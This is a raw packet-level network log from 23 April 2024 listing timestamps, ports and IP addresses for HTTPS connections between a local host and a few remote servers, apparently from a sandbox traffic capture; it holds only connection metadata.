Apr 23, 2024 21:54:06.211211920 CEST	49762	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.211275101 CEST	443	49762	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.212029934 CEST	49762	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.213778973 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.213910103 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.642643929 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.642716885 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.642739058 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.642762899 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.642782927 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.642796993 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.642806053 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.642818928 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.642822027 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.642837048 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.643218994 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.643254042 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.643270016 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.643275023 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.643284082 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.643318892 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.643738985 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.643783092 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.643795013 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.643821955 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.643846989 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.643855095 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.643863916 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.644082069 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.644669056 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.644714117 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.644737005 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.644762039 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.644774914 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.644782066 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.644790888 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.644804001 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.644831896 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.731704950 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.731885910 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.731935024 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.731952906 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.732013941 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.732085943 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.732095003 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.732171059 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.732258081 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.732265949 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.732659101 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.732719898 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.732727051 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.732789040 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.732836008 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.732842922 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.733336926 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.733475924 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.733483076 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.733561039 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.733628988 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.733634949 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.733663082 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.733701944 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.733740091 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.734404087 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.734502077 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.734508991 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.734605074 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.734663010 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.734668970 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.734703064 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.735308886 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.735373974 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.735379934 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.735552073 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.735615015 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.735754013 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.735768080 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.756407976 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.756494999 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.756629944 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.756856918 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.756882906 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.757339001 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.757383108 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.757437944 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.758635044 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.758656979 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.759217024 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.759289980 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.759396076 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.759999037 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.760072947 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.760129929 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.760530949 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.760560036 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.760622025 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.761158943 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.761173964 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.761568069 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.761920929 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.761935949 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.762104988 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.762120008 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.762270927 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.762319088 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.762489080 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.762526989 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.862704992 CEST	49774	443	192.168.2.5	172.253.124.99
Apr 23, 2024 21:54:06.862755060 CEST	443	49774	172.253.124.99	192.168.2.5
Apr 23, 2024 21:54:06.862839937 CEST	49774	443	192.168.2.5	172.253.124.99
Apr 23, 2024 21:54:06.863248110 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:06.863296986 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:06.863394976 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:06.863571882 CEST	49774	443	192.168.2.5	172.253.124.99
Apr 23, 2024 21:54:06.863586903 CEST	443	49774	172.253.124.99	192.168.2.5
Apr 23, 2024 21:54:06.863711119 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:06.863727093 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:06.983139038 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.983522892 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.983547926 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.983935118 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.984390020 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.984414101 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.984450102 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.984759092 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.984786034 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.984925985 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.985315084 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.985680103 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.985754967 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.985852957 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.986828089 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.987098932 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.987128973 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.988617897 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.988696098 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.989048004 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.989132881 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.989229918 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.989238977 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.017092943 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.017601013 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.017637968 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.021418095 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.021507025 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.023718119 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.023888111 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.023895025 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.023895025 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.024053097 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.032114983 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.032125950 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.042836905 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.075727940 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.075750113 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.083817005 CEST	443	49774	172.253.124.99	192.168.2.5
Apr 23, 2024 21:54:07.084064960 CEST	49774	443	192.168.2.5	172.253.124.99
Apr 23, 2024 21:54:07.084074020 CEST	443	49774	172.253.124.99	192.168.2.5
Apr 23, 2024 21:54:07.085630894 CEST	443	49774	172.253.124.99	192.168.2.5
Apr 23, 2024 21:54:07.085715055 CEST	49774	443	192.168.2.5	172.253.124.99
Apr 23, 2024 21:54:07.086281061 CEST	49774	443	192.168.2.5	172.253.124.99
Apr 23, 2024 21:54:07.086364031 CEST	443	49774	172.253.124.99	192.168.2.5
Apr 23, 2024 21:54:07.086544037 CEST	49774	443	192.168.2.5	172.253.124.99
Apr 23, 2024 21:54:07.086549997 CEST	443	49774	172.253.124.99	192.168.2.5
Apr 23, 2024 21:54:07.112411976 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.112667084 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.112725973 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.114181995 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.114331961 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.115398884 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.115479946 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.115569115 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.115586042 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.123074055 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.138449907 CEST	49774	443	192.168.2.5	172.253.124.99
Apr 23, 2024 21:54:07.170511961 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.283756018 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.284054995 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.284075022 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.285531044 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.285595894 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.285953045 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.286025047 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.286242008 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.286251068 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.289566040 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.289803028 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.289824963 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.291237116 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.291304111 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.291734934 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.291802883 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.292022943 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.292032003 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.316761971 CEST	443	49774	172.253.124.99	192.168.2.5
Apr 23, 2024 21:54:07.317271948 CEST	443	49774	172.253.124.99	192.168.2.5
Apr 23, 2024 21:54:07.317336082 CEST	49774	443	192.168.2.5	172.253.124.99
Apr 23, 2024 21:54:07.317706108 CEST	49774	443	192.168.2.5	172.253.124.99
Apr 23, 2024 21:54:07.317725897 CEST	443	49774	172.253.124.99	192.168.2.5
Apr 23, 2024 21:54:07.340851068 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.340902090 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.353940010 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.353977919 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.353987932 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.354017973 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.354038000 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.354048967 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.354088068 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.354159117 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.354218006 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.354218006 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.373358011 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.373393059 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.373446941 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.373467922 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.373497009 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.373509884 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.458214045 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.458273888 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.458398104 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.458398104 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.458434105 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.458462954 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.458509922 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.458509922 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.459127903 CEST	49775	443	192.168.2.5	99.84.108.67
Apr 23, 2024 21:54:07.459160089 CEST	443	49775	99.84.108.67	192.168.2.5
Apr 23, 2024 21:54:07.502955914 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.503017902 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.503047943 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.503076077 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.503099918 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.503099918 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.503125906 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.503137112 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.503163099 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.503228903 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.503607035 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.503668070 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.503674984 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.503758907 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.503803968 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.503809929 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.504880905 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.505009890 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.505101919 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.505132914 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.505198002 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.505286932 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.505304098 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.505424976 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.505511999 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.505511999 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.505539894 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.505595922 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.505626917 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.505778074 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.505839109 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.505852938 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.544892073 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.544912100 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.548595905 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.548633099 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.548680067 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.548746109 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.548913002 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.548932076 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.548980951 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.549040079 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.549053907 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.549268007 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.549314976 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.549320936 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.549335003 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.549422979 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.549434900 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.550044060 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.550091028 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.550101995 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.550115108 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.550189018 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.550246954 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.550261974 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.550319910 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.550736904 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.550813913 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.550852060 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.550884962 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.550899982 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.550951004 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.550962925 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.550987005 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.551038027 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.551266909 CEST	49768	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.551297903 CEST	443	49768	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.551608086 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.551659107 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.551723957 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.552453041 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.552495003 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.563060999 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.563144922 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.563163042 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.563235044 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.563287020 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.563301086 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.563560009 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.563584089 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.563611984 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.563627958 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.563673019 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.563684940 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.563698053 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.563764095 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.563884020 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.563895941 CEST	443	49769	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.563909054 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.563939095 CEST	49769	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.564263105 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.564342976 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.564579010 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.565046072 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.565085888 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.575834036 CEST	49778	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.575859070 CEST	443	49778	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.575999975 CEST	49778	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.576246977 CEST	49778	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.576261997 CEST	443	49778	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.684173107 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.684345007 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.684406996 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.684438944 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.684521914 CEST	443	49773	172.67.143.205	192.168.2.5
